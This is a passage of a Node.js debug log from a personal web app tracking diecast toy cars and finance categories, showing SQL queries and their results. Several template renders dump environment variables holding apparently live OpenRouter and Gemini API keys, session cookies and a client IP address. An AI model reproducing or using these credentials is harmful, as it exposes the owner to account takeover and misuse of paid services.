    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:13:26.391Z server-connect:router Serving templateView /diecast-reports
2026-02-04T11:13:26.391Z server-connect:app Executing action step identify
2026-02-04T11:13:26.391Z server-connect:app options: { provider: 'security' }
2026-02-04T11:13:26.392Z server-connect:output identity: 1
2026-02-04T11:13:26.392Z server-connect:app Executing action step restrict
2026-02-04T11:13:26.392Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:13:26.392Z server-connect:output restrict: undefined
2026-02-04T11:13:26.392Z server-connect:router Render template diecast-reports
2026-02-04T11:13:26.392Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:13:26.719Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T11:13:26.719Z server-connect:app Executing action step identify
2026-02-04T11:13:26.719Z server-connect:app options: { provider: 'security' }
2026-02-04T11:13:26.720Z server-connect:output identity: 1
2026-02-04T11:13:26.720Z server-connect:app Executing action step restrict
2026-02-04T11:13:26.720Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:13:26.720Z server-connect:output restrict: undefined
2026-02-04T11:13:26.720Z server-connect:app Executing action step custom
2026-02-04T11:13:26.720Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T11:13:26.721Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-02-04T11:13:30.444Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-02-04T11:13:30.445Z server-connect:app Executing action step identify
2026-02-04T11:13:30.445Z server-connect:app options: { provider: 'security' }
2026-02-04T11:13:30.445Z server-connect:output identity: 1
2026-02-04T11:13:30.445Z server-connect:app Executing action step restrict
2026-02-04T11:13:30.445Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:13:30.445Z server-connect:output restrict: undefined
2026-02-04T11:13:30.445Z server-connect:app Executing action step custom
2026-02-04T11:13:30.445Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T11:13:30.446Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 38 },
  { brand_id: 73, name: 'Matchbox', total: 30 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-02-04T11:13:35.952Z server-connect:router Serving templateView /collections
2026-02-04T11:13:35.953Z server-connect:app Executing action step identify
2026-02-04T11:13:35.953Z server-connect:app options: { provider: 'security' }
2026-02-04T11:13:35.953Z server-connect:output identity: 1
2026-02-04T11:13:35.953Z server-connect:app Executing action step restrict
2026-02-04T11:13:35.953Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:13:35.953Z server-connect:output restrict: undefined
2026-02-04T11:13:35.953Z server-connect:router Render template masters/collections
2026-02-04T11:13:35.953Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:13:36.229Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T11:13:36.229Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T11:13:36.230Z server-connect:app Executing action step identify
2026-02-04T11:13:36.230Z server-connect:app options: { provider: 'security' }
2026-02-04T11:13:36.230Z server-connect:output identity: 1
2026-02-04T11:13:36.230Z server-connect:app Executing action step restrict
2026-02-04T11:13:36.230Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:13:36.230Z server-connect:app Executing action step identify
2026-02-04T11:13:36.230Z server-connect:app options: { provider: 'security' }
2026-02-04T11:13:36.230Z server-connect:output identity: 1
2026-02-04T11:13:36.230Z server-connect:app Executing action step restrict
2026-02-04T11:13:36.230Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:13:36.231Z server-connect:output restrict: undefined
2026-02-04T11:13:36.231Z server-connect:app Executing action step select
2026-02-04T11:13:36.231Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T11:13:36.232Z server-connect:output restrict: undefined
2026-02-04T11:13:36.232Z server-connect:app Executing action step paged
2026-02-04T11:13:36.232Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T11:13:36.233Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T11:13:36.236Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 189,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T11:21:29.053Z server-connect:router Serving templateView /diecast
2026-02-04T11:21:29.054Z server-connect:app Executing action step identify
2026-02-04T11:21:29.054Z server-connect:app options: { provider: 'security' }
2026-02-04T11:21:29.054Z server-connect:output identity: 1
2026-02-04T11:21:29.054Z server-connect:app Executing action step restrict
2026-02-04T11:21:29.054Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:21:29.054Z server-connect:output restrict: undefined
2026-02-04T11:21:29.054Z server-connect:router Render template diecast
2026-02-04T11:21:29.054Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
